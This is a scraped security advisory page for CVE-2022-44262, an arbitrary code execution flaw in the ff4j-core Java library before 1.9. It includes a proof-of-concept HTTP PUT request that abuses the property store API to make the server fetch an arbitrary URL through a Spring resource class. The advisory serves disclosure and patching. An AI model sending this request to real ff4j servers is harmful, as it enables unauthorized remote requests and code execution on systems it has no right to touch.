Arbitrary Code Execution Affecting org.ff4j:ff4j-core package, versions [,1.9)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.51% (77th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGFF4J-3152484
  • published1 Dec 2022
  • disclosed1 Dec 2022
  • creditUnknown

Introduced: 1 Dec 2022

CVE-2022-44262  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade org.ff4j:ff4j-core to version 1.9 or higher.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution in the createProperty() function in PropertyFactory.java, which can be used to send requests to arbitrary URLs.

PoC

PUT /api/ff4j/propertyStore/properties/test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
accept: application/json
Content-Length: 111

{ "name": "test", "description": null, "type": "org.springframework.core.io.support.ResourcePropertySource", "value": "http://example/index.html"}

CVSS Scores

version 3.1